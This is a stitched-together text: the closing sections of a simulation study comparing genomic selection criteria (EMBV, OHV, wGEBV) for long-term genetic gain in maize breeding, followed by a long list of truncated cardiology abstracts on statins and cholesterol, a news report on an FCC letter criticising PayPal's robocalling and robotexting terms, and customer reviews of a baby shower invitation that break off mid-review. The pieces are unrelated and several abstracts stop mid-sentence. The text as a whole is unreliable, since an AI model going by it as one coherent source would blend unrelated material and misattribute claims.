The criteria EMBV and OHV generally showed the ability to maintain higher genetic diversity in terms of $\sigma_{a_{t}}^{2}$ in the population than GEBV, while criterion wGEBV only showed larger $\sigma_{a_{t}}^{2}$ than GEBV for $N_{sel} = 10$ ([Figure 2c](#fig2){ref-type="fig"}). The rate of decline of $\sigma_{a_{t}}^{2}$ became more pronounced when $N_{sel}$ was reduced from 10 to 1. Across all cycles, $\sigma_{a_{t}}^{2}$ was always larger for criterion OHV compared to GEBV. After 50 cycles, $\sigma_{a_{t}}^{2}$ was entirely depleted with EMBV and GEBV, but not with OHV and wGEBV for $N_{sel} = 10.$ Here, $1.4\text{\%}$ (OHV) and $1.9\text{\%}$ (wGEBV) of $\sigma_{a_{0}}^{2}$ was left. For $N_{cand} = 30,$ wGEBV showed a higher $\sigma_{a_{t}}^{2}$ of $4.1\text{\%}$ in cycle 50 that for $N_{cand} = 50$ (Figure S6 in [File S3](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1/FileS3.pdf)). Remnant $\sigma_{a_{t}}^{2}$ explains why the selection limit was not fully reached in the case of OHV and wGEBV ([Figure 2a](#fig2){ref-type="fig"}). This indicates that the final genetic gain of OHV and wGEBV would have been higher if selection was continued for more than 50 cycles. Generally, $N_{chr}$ and $N_{cand}$ had only small effects on $\sigma_{a_{t}}^{2}$ for the different selection criteria (Figure S6 in [File S3](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1/FileS3.pdf)). Trends were similar under completely dominant gene action ([Figure 2c](#fig2){ref-type="fig"}, Figure S7 in [File S3](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1/FileS3.pdf)).
Discussion {#s18}
==========
Genomic selection allows for predicting GEBVs of unphenotyped individuals and has been proposed for RS to increase genetic gain per unit time ([@bib30]; [@bib9]). A first empirical study on GS in a multi-parental population produced from 18 tropical maize lines showed promising results, reporting 2% genetic gain in grain yield per year ([@bib33]). However, selection on GEBVs is expected to maximize single-cycle genetic gain, but not genetic gain over several cycles. In this study, we propose a novel selection criterion called expected maximum haploid breeding value (EMBV) as an alternative to the use of GEBVs for RS. EMBV takes into account information about genetic map positions of loci, linkage phases between alleles and the population size to improved long-term genetic gain. We used extensive computer simulations to compare EMBV to two other alternative selection criteria, wGEBV and OHV ([@bib7]; [@bib15]; [@bib5]) in a generic RS program.
RS was pioneered in maize (*Zea mays* L.) breeding ([@bib16]; [@bib14]; [@bib3]) and two basic types of selection strategies have been developed, intra- and inter-population improvement, where the latter is also called reciprocal RS. RS had only a limited but yet significant impact on the development of improved inbred lines in commercial hybrid breeding. Most notably, the Iowa Stiff Stalk Synthetic produced many successful inbred lines and its traces are present in a large proportion of today's elite germplasm ([@bib21]; [@bib10]). Because of the historically limited success of RS, [@bib10] recommend to tightly integrate the development of elite inbreed lines with germplasm enhancement programs driven by RS. This is particularly facilitated by the DH technology, which allows for rapid development of fully homozygous lines ready for testcross evaluation. While RS (either intra- or inter-population) can be used to steadily improve the germplasm, DH lines can be simultaneously created and tested as spin-offs from top parents. We expect EMBV to be also highly suitable for the selection of such DH parents, because by its very definition, it enables the identification of parents that most likely produce top performing DH lines. Genetic progress is then not measured in terms of population mean performance, but in terms of the performance of the best DH that can be achieved for line development, similar to [@bib5]. If EMBV is deployed for both RS and spin-off DH production, the parents used for DH line development do not need to be recruited from the individuals selected for intercrossing, but can constitute a separate set. This is because the ranking of the candidates in both applications will likely differ due to (i) differences in $N_{G}$ and (ii) differences in allele substitution effect estimates, which occur if different testers are used and gene action is not purely additive. For intra-population RS, the tester is the (current) population (*e.g.*, evaluation of half-sibs), whereas for inter-population RS, the tester stems from the opposite heterotic group. In both cases, the selection of DH parents requires substitution effects being estimated from testcrosses. EMBV might also be successfully applied independently of RS in advanced hybrid breeding programs, where new lines are commonly developed from bi-parental crosses between recycled elite lines. However, these extensions require further investigation.
EMBV {#s19}
----
The EMBV is an independent property of each selection candidate and is derived from the distribution of their virtual DH progeny. By this approach, the ultimate goal of using EMBVs is not to maximize genetic gain in the subsequent generation, but to improve gain in later stages of the breeding program. This is underlined by our result that selection on EMBVs needed around 5 cycles to outperform GEBV (Figures S4 and S8 in [File S3](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1/FileS3.pdf)), even though the initial penalty of using EMBVs was minimal. By selection on EMBVs, only individuals that are expected to produce the best gametes in the next generation are advanced. If such top gametes eventually unite, a superior individual is created, which, if selected for further breeding, can increase the population mean of future selection cycles. Due to the linearity of expectations, the EMBV can also be expressed as$$EMBV_{i} = GEBV_{i} + E\left( X_{(N_{G})} \right)\sigma_{i},$$where $GEBV_{i}$ is the GEBV of candidate *i*, $\sigma_{i}$ is the standard deviation of the GEBVs of the DH lines derived from *i*, and $E\left( X_{(N_{G})} \right)$ the expected value of the largest order statistic of $N_{G}$ random variables from $\mathcal{N}\left( {0,1} \right),$ assuming the GEBVs of the virtual DH progeny are normally distributed. This is described in greater detail in [File S2](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1/FileS2.pdf). When expressed in this way, the EMBV can be immediately interpreted as a compromise between the candidate's GEBV (current breeding potential) and its segregation variance (indicative of future breeding potential). Increasing the number of contributed gametes $N_{G}$ increases $E\left( X_{(N_{G})} \right)$ (Figure S2-1 in [File S2](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1/FileS2.pdf)and hence the importance of $\sigma_{i}.$ Hence, the ranking of candidates can vary, depending on $N_{G}$ (see Figure S2-3 in [File S2](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1/FileS2.pdf) for an example). Candidates with intermediate GEBVs showed larger variation in $\sigma_{i}$ compared to candidates with low or high GEBVs. Therefore, selection on EMBV often times chooses candidates with suboptimal GEBV, but in return larger $\sigma_{i}.$
OHV {#s20}
---
Application of criterion OHV requires the definition of haplotypes, from which the optimal combination of haplotype values is calculated. OHV conceptually fits into the framework of EMBV in that $\left. EMBV_{i}\rightarrow OHV_{i} \right.$ for $\left. N_{G}\rightarrow\infty, \right.$ given complete linkage among loci within a haplotype but free recombination between haplotypes. The need for an explicit specification of haplotypes could be considered as a disadvantage of OHV. Our results demonstrate that OHV has a large potential to boost long-term genetic gain. However, these results might be overly optimistic, because we only used optimal values of $N_{S}.$ As [@bib5] pointed out, decreasing $N_{S}$ (increasing haplotype lengths) shifts the breeding goal of maximizing genetic gain into the future, which is underlined by our results (Figure S1-1 in [File S1](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1/FileS1.pdf)). The reason is that a gamete exhibiting the OHV (or being at least close to it) can only be produced through the accumulation of favorable recombination events close to the haplotype borders. By definition, OHV only considers the possibility of the optimal gamete combining only the best haplotypes, not taking into account its probability of occurrence ([@bib11]). If $N_{S}$ is chosen such that genetic gain is maximized at an earlier stage of the breeding program, gain in cycle 50 is compromised (results not shown). As a consequence, OHV needs to be tuned according to the length of the breeding program. We observed substantial losses of genetic gain for OHV relative to GEBV in early selection cycles, in accordance with a simulation study by [@bib8]. This was not found by [@bib5], likely because they evaluated genetic progress in terms of the performance of only the best DH produced from all selected individuals. Hence, if a (nearly) optimal gamete is eventually produced, it will directly and exclusively enter into the measurement of genetic gain. Conversely, we measured genetic progress as the average genotypic value of the entire breeding population.
wGEBV {#s21}
-----
Criterion wGEBV was unique because it performed poorly for small $N_{sel},$ but clearly outperformed all other criteria for $N_{sel} = 10$ in terms of long-term genetic gain. In the latter case, remnant $\sigma_{a_{t}}^{2}$ suggests that if selection was continued further, the difference would have been even larger. We suspect that wGEBV is not competitive for small $N_{sel}$ because of strong genetic drift. This will rapidly result in a loss of many highly favorable but low-frequency alleles from the population. Only a very limited number of recombination events occur before individuals ultimately become homozygous; hence, there is not enough opportunity for combinations of favorable alleles to appear. Below, we explain why we expect that the superiority of wGEBV for $N_{sel} = 10$ is likely overestimated.
Recently, [@bib17] proposed a further modification of the original approach to wGEBV. In their study, the effect weights are not only determined by the favorable allele frequency and change due to shifts in the latter, but also by a parameter regulating the initial weight at the beginning of selection and by the number of remaining generations until the end of the breeding program ("time horizon"). The closer the breeding program comes to its end, the lower the weight on effects with low favorable allele frequencies. They showed that their modified approach can improve on wGEBV in terms of long-term genetic gain. However, similar to wGEBV in our study, their method showed a clear performance penalty during the first cycles.
Genetic diversity {#s22}
-----------------
The genetic diversity maintained in the breeding population was substantially higher for EMBV than GEBV. Selection based on GEBVs puts rare favorable alleles at a high risk of becoming lost. This is because such alleles will occur only in a small number of candidates. If they coincide with many unfavorable alleles, their positive effect is concealed. In other words, if rare favorable alleles are only present in candidates with an otherwise low GEBV, they will likely be lost. On the other hand, criterion EMBV allows rare favorable alleles to recombine and be joined with other favorable alleles into a high-performing gamete, reducing negative selection pressure on them. Moreover, the interpretation of the EMBV as a compromise between the GEBV and the segregation variance makes it evident that EMBV positively weights and maintains diversity. Criterion OHV maintained the highest diversity. Because it is computed as the sum of only the favorable haplotypes, it allows rare favorable alleles, similar to EMBV, to be separated from unfavorable alleles on other haplotypes and joined with favorable ones. Similar to OHV, criterion wGEBV was able to maintain relatively high genetic diversity, but only for $N_{sel} = 10.$ This is because the differential weighting leads to a strong selection of rare favorable alleles ([@bib15]). This effect was canceled by genetic drift if $N_{sel}$ was small.
Effect of dominant gene action {#s23}
------------------------------
In inter-population RS, breeders usually apply the same or closely related testers from the opposite heteroric group for several selection cycles. In this case, the genetic model for testcross performance behaves (in the absence of epistasis) like a model with only additive gene action ([@bib19]), so that our simulations assuming additive gene action closely reflect this situation. However, for intra-population RS, the current cycle usually serves as a tester, and therefore allele frequencies are variable. Thus, in the presence of dominant gene action ($k_{l} \neq 0$) the allele substitution effects will change with changes in the allele frequencies across selection cycles. Moreover, in reality dominant gene action appears to be the rule rather than the exception ([@bib4]; [@bib12]). For these reasons, we investigated the extreme case of completely dominant gene action at all loci to assess the potential impact on the comparison of the selection criteria. Our results showed that EMBV and, to a lesser extent OHV, are robust with respect to dominance. On the other hand, the performance of wGEBV was severely affected under complete dominance. An explanation for the good performance of EMBV and OHV could be that these criteria are based on the assessment of homozygous individuals (DH lines), which removes the masking effect on recessive alleles present in heterozygotes, which affects criteria GEBV and wGEBV. Moreover, wGEBV was specifically proposed as a criterion for long-term population improvement, so it is implicitly assumed that substitution effects have a long-lasting significance, which does not hold under dominant gene action if allele frequencies change.
Further research {#s24}
----------------
### Estimation of allele substitution effects: {#s25}
In our study, we assumed that both the loci as well as the effect sizes of QTL are perfectly known. In practice, QTL are generally unknown and markers are used as proxies and their allele substitution effects have to be estimated from a training set, using one of several available analytical methods (*cf*. [@bib6]). However, a high degree of colinearity among markers, especially in high density marker panels, entails that the effect of a QTL is distributed among surrounding markers in a complex manner, reducing the statistical power to accurately estimate their effects ([@bib17]; [@bib2]) Obviously, the accuracy of marker effects is further impaired for traits with low heritability or if insufficient phenotypic data are available.
We expect that estimation of allele substitution effects of markers will differently affect the selection criteria. In wGEBV, individual effects are weighted by the frequency of the favorable allele. However, the more inaccurate marker effects are estimated, the lower the significance of their effects and the higher the chance that the wrong allele is considered being favorable, potentially causing selection in the wrong direction. We therefore surmise that the potential of wGEBV is largely overestimated by the assumption of known substitution effects. Conversely, the criteria OHV and EMBV do not rely on individual marker effects, but consider entire haplotypes. This is done explicitly in OHV and implicitly in EMBV, because the virtual DH progeny of a selection candidate reflect colinearity among markers due to cosegregation. Hence, we expect that these criteria are less susceptible to inaccuracies in effect estimates, but this warrants further research.
Furthermore, as the predictive information of effect estimates erodes over multiple selection cycles due to changes in linkage disequilibrium between QTL and markers (*e.g.*, [@bib22]; [@bib25]), periodic re-training of the prediction model is required, for instance every third cycle ([@bib15]). Substitution effects should also be recalculated in every generation based on the allele frequencies of the respective tester, which is especially relevant if only a small fraction of the candidates is advanced.
### Phasing: {#s26}
The application of selection criteria EMBV and OHV requires the availability of phased genotypic data. If selection candidates are F1 crosses from homozygous inbred lines, all linkage phases are known. Otherwise, genotypes have to be phased before the candidates can be evaluated. In the past years, numerous software tools have been developed to achieve this task, *e.g.*, PHASE ([@bib27]), its successor fastPHASE ([@bib26]) or BEAGLE ([@bib1]). However, as phasing is still associated with a certain error rate, additional investigations are required to assess the influence of phasing error on the performance of EMBV and OHV. While selection criteria GEBV and wGEBV will stay unaffected by phasing errors, we expect that EMBV and OHV could both show a slightly reduced performance.
Conclusions {#s27}
-----------
We showed in a proof-of-concept that our novel selection criterion EMBV has the potential to yield higher long-term genetic gain as compared to using GEBVs while not jeopardizing short-term gain. Although criterion OHV performed well in the long run, it was not competitive with GEBV in early cycles, which makes it unattractive for practical breeding programs. Criterion wGEBV also showed promising long-term results for quantitative traits with purely additive gene action, but was also accompanied by a performance penalty in early cycles and was, moreover, sensitive to deviation from additive gene action. EMBV could also be a promising approach for the selection of parents for producing DH lines in hybrid breeding programs, which is a subject of future research.
Supplementary Material {#s28}
======================
Supplemental Material is available online at [www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1](http://www.g3journal.org/lookup/suppl/doi:10.1534/g3.118.200091/-/DC1)
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Click here for additional data file.
We cordially thank Pedro Correa Brauner, Willem Molenaar, Tobias Schrag, and Matthias Westhues for reviewing the manuscript and providing valuable suggestions for its improvement. We declare no conflict of interest associated with this study. We declare that ethical standards were met, and all the experiments comply with the current laws of the country in which they were performed.
DM developed selection criterion EMBV, conceptualized the simulation study, conducted the simulations, analyzed the data and wrote the manuscript. PS supported in conceptualizing the simulation study and reviewed the manuscript. AEM reviewed the manuscript. All authors read and approved the final version of the manuscript.
Communicating editor: D. J. de Koning
[^1]: Present address: KWS SAAT SE.
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The goal of cholesterol-lowering therapy in hypercholesterolemic patients at high risk for recurrence of coronary heart disease (CHD) is the prevention of acute coronary syndrome by stabilization of coronary atheromatous plaque. We often encounter patients in whom it is difficult to maintain the serum cholesterol level at a desirable level ...
The use of statin agents in patients with acute coronary syndromes (ACSs) remains an area of intense clinical interest. Statin therapy has an established secondary preventive benefit in patients with coronary artery disease, and its extension to ACS seems logical. A number of observational studies have shown an association between ...
There is clear evidence of lipoprotein oxidation in atherosclerotic lesions. Animal studies and observational prospective human cohort studies have been interpreted as supporting a role for antioxidants in the prevention of coronary heart disease (CHD). However, firm recommendations to take antioxidant supplements to treat or prevent CHD require evidence derived ...
An important issue for stroke prevention is identification and treatment of risk factors such as hypercholesterolemia. The four reasons to test hypolipidemic agents in stroke prevention are: (i) a statistical link between elevated low-density lipoprotein cholesterol (LDL-c) or decreased high-density lipoprotein cholesterol (HDL-c) and ischemic stroke; (ii) a reduction in ...
3-Hydroxy-3-methylglutaryl coenzyme A (HMG-CoA) reductase inhibitors (statins) are greatly contributed to the treatment of hypercholesterolemia, and constitute an important part of comprehensive strategies for the treatment of cardiovascular disease in the 21st century. Particularly, a strategy for preventing acute coronary syndrome (ACS), the most important complication of hyperlipidemia, is urgently ...
Event trials using statin therapy have shown a beneficial effect on rates of cardiovascular events. The three statins that have been used in long-term trials have shown generally similar effects on rates of myocardial infarction, stroke, revascularizations, and mortality. Safety data appear to be comparable for lovastatin, pravastatin, and simvastatin. ...
HMG Co-A reductase inhibitors(statins) have been shown, in three large randomized trials, to decrease adverse cardiac events in patients with clinically evident coronary artery disease. All of these trials have excluded patients with an acute coronary syndrome within the three months prior to enrollment. Statin therapy is thought to stabilize ...
BACKGROUND: Definite evidence has been established, that coronary patients benefit from appropriate secondary prevention measures, as recommended by the European and National Guidelines. EuroAspire I (1995) and EuroAspire II (1999) were surveys aimed to evaluate the state of the implementation of guidelines into the every-day medical practice in several European ...
BACKGROUND: Hypercholesterolemia induces functional and structural changes of the microvasculature and reduces coronary flow reserve in humans and experimental animals. The effect of hypercholesterolemia on left ventricular (LV) function in the absence of coronary stenosis is, however, unknown. Our objective was therefore to assess the effect of hypercholesterolemia and cholesterol ...
BACKGROUND: Although hypercholesterolemia is a well-defined risk factor for morbidity and mortality in coronary artery disease, the relationship between cholesterol and heart failure (HF) has rarely been investigated. METHODS: Cholesterol and lipoproteins were measured in 1,134 patients with advanced HF who presented to a single center for HF management and ...
PURPOSE OF REVIEW: Despite changes in lifestyle and the use of effective pharmacologic interventions to lower cholesterol levels, coronary heart disease remains the major cause of morbidity and mortality in the developed world. Cholesterol screening fails to identify almost 50% of those individuals who will present with acute coronary syndromes. ...
AIM: To determine whether statin therapy initiated early in acute myocardial infarction together with thrombolytic therapy in patients with acute myocardial infarction results in clinical benefit through early plaque stabilization. METHODS AND RESULTS: The study population consisted of 77 patients who underwent coronary balloon angioplasty of the infarct-related artery during ...
Gender-based differences in the incidence of hypertensive and coronary artery disease, the development of atherosclerosis, and myocardial remodeling after infarction are attributable to the indirect effect of estrogen on risk factor profiles, such as cholesterol levels, glucose metabolism, and insulin levels. More recent evidence, however, suggests that activated estrogen receptor ...
This review examines the use of HMG-CoA reductase inhibitor (statin) medications early in the clinical course of acute coronary syndrome. Available data demonstrate that there are clear clinical benefits to this practice. Numerous previous studies have documented the primary and secondary benefits of statins in the prevention of coronary events. ...
The peripheral vascular system makes up the largest single "organ system" and holds many biological secrets that, when unlocked, can open doors for new treatments for all vascular beds, including those of the coronary and cerebral arteries. The coronary and noncoronary circulations are inseparable and interdependent. Cardiologists as well as ...
Despite the significant advances made in the treatment of acute coronary syndromes (ACS) with antiplatelet and antithrombotic therapy, the risk of serious complications remains high, especially in the first few months following an acute coronary event. Although lipid-lowering therapy in patients with significant risk factors (primary prevention) or stable coronary ...
Peripheral arterial disease (PAD) is associated with a high morbidity and mortality, largely from coronary and cerebrovascular disease, which often overshadows the PAD itself. Best Medical Therapy (BMT), comprising smoking cessation, antiplatelet agent use, cholesterol reduction, exercise therapy, and the diagnosis and treatment of hypertension and diabetes mellitus; is evidenced ...
To determine the prevalence and correlates of lipid lowering drug use among older British men with established coronary heart disease (CHD). Cross sectional survey within a cohort study (British regional heart study) carried out at 20 years of follow up in 1998-2000. General practices in 24 British towns. 3689 men ...
The current and future roles of statins as antilipemic agents for the prevention and management of coronary artery disease (CAD) are reviewed. Therapy with hydroxymethylglutaryl-coenzyme A reductase inhibitors (statins) substantially reduces total cholesterol and low-density-lipoprotein (LDL) cholesterol concentrations. Large clinical trials have documented the efficacy of statin therapy for both ...
BACKGROUND: Studies on the impact of elevated levels of lipoprotein(a) (Lp[a]) or apolipoprotein(a) (apo[a]) on the development of coronary artery disease have given controversial results. The relationship between apo(a) phenotypes and coronary artery stenosis remains unclear. METHODS: Lipid profiles, and apo(a) levels and phenotypes were analyzed in 225 patients who ...
AIM: To determine distribution, size, and phenotype of low density lipoprotein (LDL) subclasses and examine the influence of plasma lipid concentrations on lipoprotein particle size in both healthy population and patients with myocardial infarction. METHOD: Nondenaturing gradient (3-31%) gel electrophoresis for lipoprotein separation was used to determine the distribution and ...
The response to injury in the vasculature and the heart is inflammation. Atherosclerosis is often the result of injury followed by inflammation and atherosclerosis. Vascular and myocardial infections from various pathogens, including viruses, bacteria, chlamydia, and other infections result in vascular inflammation and almost certainly play a role in the ...
Cardiologists have traditionally focused on coronary narrowing as seen on angiography and have orientated treatment towards bypassing these lesions or widening them with angioplasty. In patients with stable coronary artery disease, percutaneous coronary interventions reliably relieve angina and myocardial ischemia, but do not prevent myocardial infarction or reduce mortality. Cholesterol ...
BACKGROUND: C-reactive protein is a valid marker of cardiovascular risk. It is not known whether C-reactive protein is a marker of atherosclerotic burden or whether it reflects a process (e.g. inflammatory fibrous cap degradation) leading to acute coronary events. This study was performed to determine whetherthe concentration of C-reactive protein ...
BACKGROUND: Familial combined hyperlipidemia (FCHL) is the most common hereditary lipid disorder that predisposes the patients to premature coronary heart disease. Members of FCHL families are categorised as affected or unaffected according to serum lipid levels. This study is aimed to evaluate whether there is a difference in carotid artery ...
In the last decade, an increasingly sophisticated understanding of the pathogenesis of atherosclerosis and its cardiovascular consequences has emerged. The characteristics of the unstable atherosclerotic plaque, the substrate for the majority of acute coronary events, have been well defined: mild-to-moderate stenosis, a lipid-rich pool, few smooth muscle cells, a friable ...
The development of 3-hydroxy-3-methylglutaryl coenzyme A (HMG CoA) reductase inhibitors (statins) has been a very significant development in the management of coronary artery disease. Large prospective clinical trials have provided unequivocal evidence that cholesterol lowering therapy with statins reduces all-cause mortality in patients with coronary artery disease. There is now ...
The author and four independent experts evaluated the intent and quality of scientific evidence for a potential beneficial health relationship between the intake of walnuts and the reduction and prevention of coronary heart disease. The report also addresses the supporting evidence for the health benefit of other tree nuts and ...
To quantify changes in 30 day and one year mortality among patients with acute myocardial infarction in southern Derbyshire (population 560 000) in each of five consecutive years (1995-1999) before the publication of the National Service Framework for coronary heart disease, and to assess the proportion of one year survivors ...
The concept of plaque stabilization was developed to explain how lipid lowering could decrease adverse coronary events without a substantial reduction in the regression of atherosclerosis. Plaques were stabilized by reducing serum cholesterol leading to several favorable pathobiological changes in the vessel wall of lipid-rich plaques responsible for a majority ...
BACKGROUND: The Long-term Intervention with Pravastatin in Ischaemic Disease (LIPID) study showed that pravastatin therapy over 6 years reduced mortality and cardiovascular events in patients with previous acute coronary syndromes and average cholesterol concentrations. We assessed the longer-term effects of initial treatment with pravastatin on further cardiovascular events and mortality ...
Few things are better understood within the medical community than the relationship between elevated total and low-density lipoprotein cholesterol (LDL-C) levels, cardiovascular disease and death. There is consensus in the treatment guidelines of numerous national and international bodies that cholesterol levels in at-risk patients should be reduced to target levels ...
Atherosclerosis is not an inexorable part of aging. Addressing unhealthy lifestyle behaviors will go a long way toward reducing the current burden of atherosclerosis without widespread drug therapy. The question is whether this is possible, given the demand of our modern culture. It is not yet clearly established precisely where ...
BACKGROUND: It has been suggested that infection with Chlamydia pneumoniae(CPn) can trigger inflammatory mechanisms that may in turn impair vascular endothelial function. The aim of the present study was to assess whether treatment with the macrolide antibiotic azithromycin improves endothelial function in patients with coronary artery disease and antibodies positive ...
Three large secondary prevention studies have shown that, in patients with a history of cardiovascular disease, statin treatment reduces the risk of further events and lowers overall mortality. In these studies, total mortality was reduced by as much as 30% in high-risk groups and 22% in average-risk groups. However, these ...
OBJECTIVE: To evaluate the implementation of secondary prevention and treatment of coronary heart disease (CHD) in general practice in Iceland. SETTINGS: Two health care centers adjacent to Reykjavik with a total of 25766 inhabitants. PATIENTS: All patients (533) with CHD living in the study area were sent an invitation letter ...
Community studies have demonstrated suboptimal achievement of lipid targets in the management of patients with coronary heart disease (CHD). An effective strategy is required for the application of evidence-based prevention therapy for CHD. The objective of this study was to test coaching as a technique to assist patients in achieving ...
After acute myocardial infarction, patients remain at high risk for recurrent cardiovascular events and mortality. Despite the compelling scientific and clinical trial evidence that lipid-lowering medications reduce mortality in patients after acute myocardial infarction, this life-saving therapy continues to be underutilized. A number of studies in a variety of clinical ...
Murine models of atherosclerosis, such as the apolipoprotein E (apoE) or the LDL receptor knockout mice, usually do not exhibit many of the cardinal features of human coronary heart disease (CHD), eg, spontaneous myocardial infarction, severe cardiac dysfunction, and premature death. Here we show that mice with homozygous null mutations ...
To assess use of cholesterol-lowering therapy and related beliefs among middle-aged adults after myocardial infarction. Telephone survey and administrative data. National managed-care company. Six hundred ninety-six adults age 30 to 64 surveyed in 1999, approximately 1 to 2 years after a myocardial infarction. Use of cholesterol-lowering drugs, beliefs about the ...
BACKGROUND: Inappropriate inflammation is a key mechanism in the development of atherosclerosis. Antibodies against components of the atherosclerotic lesion, in particular, oxidised low density lipoprotein, have been described. OBJECTIVE: To determine whether a systemic autoimmune response, characterised by the presence of high titres of antinuclear antibodies, is associated with the ... |
The Federal Communications Commission sent a letter to PayPal on Thursday that was highly critical of the firm’s robocalling and robotexting fine print, which I first chronicled earlier this month. The letter says PayPal’s terms of service “raise serious concerns for the (FCC) enforcement bureau.”
In a report for Credit.com last week, I described an update to PayPal’s user agreement that is set to take effect in July, when the payment firm is set to split from corporate parent eBay. In those terms, the firm says user must agree to grant PayPal the right to robocall or robotext them at any phone number “you have provided to us or that we have otherwise obtained.” The calls and texts can be used in attempts to collect debts, for marketing purposes, or a host of other reasons, the agreement says. On its Facebook page, PayPal recently told a consumer that there was no opt-out for the provision.
In a letter signed by Travis LeBlanc, chief of the FCC’s Enforcement Bureau, the agency said much of the policy could violate federal law.
“FCC requirements directly prohibit requiring a consumer to consent to receive autodialed or prerecorded telemarketing or advertising calls as a condition of purchasing any property, good, or service, and the company must give consumers notice of their right to refuse to give such consent,” the letter says. “PayPal ‘s amended User Agreement does not give consumers notice of their right to refuse consent to calls that require consumer consent from PayPal, its affiliates, and its service providers. If PayPal fails to include this required notice and/or fails to allow its users to refuse such consent, we are concerned that consent is in fact a condition of purchase of PayPal’s service and thus violates the Telephone Consumer Protection Act and could subject PayPal, its affiliates, and its service providers to penalties of up to $16,000 per call or text message.
“Second, we direct your attention to the requirement that the written agreement must identify the specific telephone number(s) to which the consenting consumer gives his or her consent to be called or texted,” it continues. “A blanket User Agreement that purports to apply to ‘any telephone number that [consumers] have provided us or that we have otherwise obtained’ does not meet the level of specificity required by law. Many consumers have more than one telephone line. Consumers have the right to choose on which line(s) they wish to receive telemarketing or advertising calls, if they elect to receive such calls at all.
“Finally, the Commission has ruled that should any question about the consent arise, the seller will bear the burden of demonstrating that a clear and conspicuous disclosure was provided and that unambiguous consent was obtained,” it says. “We direct your attention to this statement because it underscores the importance of complying with federal law when structuring your agreements to collect the prior express written consent of consumers.”
The letter was addressed to Louise Pentland, PayPal’s general counsel.
PayPal did not immediately respond to the FCC’s assertions.
“We have received a letter from the FCC and look forward to responding,” the firm said in a statement.”We strive to be as clear as possible with our customers and clarified our policies and practices last week on the PayPal blog.”
In that post, Pentland, Pentland noted the robocalling and robotexting language is not new, and consumers can opt out, though the post does not explain why PayPal said previously there was no opt out.
“We value our relationship with you and have no intention of harassing you,” it read, in part. “Our contacts with you are intended to benefit our relationship. For example, we may contact you as part of our fraud prevention efforts to keep your PayPal accounts safer and more secure. In reaching out to you for account service purposes, such as fraud alerts, we occasionally use technologies that allow us to contact you efficiently. To use this approach we seek your permission through our User Agreement.
“Our goal is always to create clarity in our communication with our customers. We’re sorry if this wasn’t the case. We aim to give you the information you need and hope this blog post helped to clear up any confusion,” she wrote.
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Great Baby Shower Invitations
"Really nice quality cardstock.You can print other information on the back if necessary."
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Review 2 for Colorful Jungle
Overall Rating:
5out of5
Paper Quality:
5out of5
Print/Photo Quality:
5out of5
Design:
5out of5
Customer Service/Delivery:
5out of5
by ocgrandma
Date:July 28, 2014
City: Orange County
State:California
Adorable & fun invitation
Pros: Whimsical
"This is such an adorable invitation and can be used for either gender. (I also checked with a local cake decorator and it will work well on a cake for the shower.) The colors are vibrant and fun and the animals are simple and cute. I can't wait to send them out!"
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Review 3 for Colorful Jungle
Overall Rating:
5out of5
Paper Quality:
5out of5
Print/Photo Quality:
5out of5
Design:
5out of5
Customer Service/Delivery:
5out of5
by khorniacek
Date:June 1, 2014
State:New Jersey
So Cute!
Pros: Whimsical
"This is a great invite for a gender neutral baby shower! Colors are so vivid and happy. The paper is thick and great quality. Shipping was so fast. Very happy with this purchase!"
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Review 4 for Colorful Jungle
Overall Rating:
5out of5
Paper Quality:
5out of5
Print/Photo Quality:
5out of5
Design:
5out of5
Customer Service/Delivery:
5out of5
by Jtsg
Date:March 2, 2014
City: Springfield
State:Virginia
Great job! :-)
Pros: Whimsical, Simple Chic
"Thank you so much for making the accommodation on the back of the invite!They are just what I wanted!Jane"
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Review 5 for Colorful Jungle
Overall Rating:
5out of5
Paper Quality:
5out of5
Print/Photo Quality:
5out of5
Design:
5out of5
Customer Service/Delivery:
5out of5
by Saorise
Date:February 10, 2014
City: Chicago
State:Illinois
Excellent Choice
Pros: Artistic, Whimsical, adorable
"I was just so pleased with the way this card turned out. The colors were so vibrant and alive! I personalized this card by adding white shimmer and choosing to have the edges cut in brackets. As this shower was for a boy, I asked if I could change the color on the back of the invitation. Customer service was able to oblige. The back was changed to a blue that perfectly matched the color of the elephant on the front. For clarification, I added an extra line to the address of the shower destination. The matching envelopes were of a high quality paper that I was pleased with. I mailed the invitations out today and can't wait to hear what people think!"
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Review 6 for Colorful Jungle
Overall Rating:
5out of5
Paper Quality:
5out of5
Print/Photo Quality:
5out of5
Design:
5out of5
Customer Service/Delivery:
5out of5
by MrsSug
Date:November 6, 2013
City: Fort Wayne
State:Indiana
Colorful Card
Pros: Artistic
"It was a difficult purchase ONLY for the fact that there were so many beautiful invitations and fonts to choose from.
This invitation turned out great. Its cardstock is thick and the colors are bright.
Purchase was completed without a hitch! I definitely recommend this product."
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Review 7 for Colorful Jungle
Overall Rating:
5out of5
Paper Quality:
5out of5
Print/Photo Quality:
5out of5
Design:
5out of5
Customer Service/Delivery:
5out of5
by Gina44
Date:August 5, 2013
City: Memphis
State:Tennessee
Beautiful Card
Pros: Simple Chic
"The invitation was exactly what I was hoping for!!!!"
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Review 8 for Colorful Jungle
Overall Rating:
2out of5
Paper Quality:
4out of5
Print/Photo Quality:
3out of5
Design:
3out of5
Customer Service/Delivery:
4out of5
by BHansohn
Date:August 5, 2013
City: Los Angeles
State:California
Disappointed...
Pros: Whimsical
"Admittedly, I was EXTREMELY disappointed in the Invitations that arrived on my Doorstep for a Baby Shower I am hosting. TinyPrints has a great reputation for quality but I felt that this particular invitation fell short. First off, all of the reviews below love the colors on the COLORFUL JUNGLE invite because they are so vivid. The colors have more orange and yellow than I expected. The giraffe is coral (rather than the pink I originally thought), and the background is almost black rather than a chocolate brown.
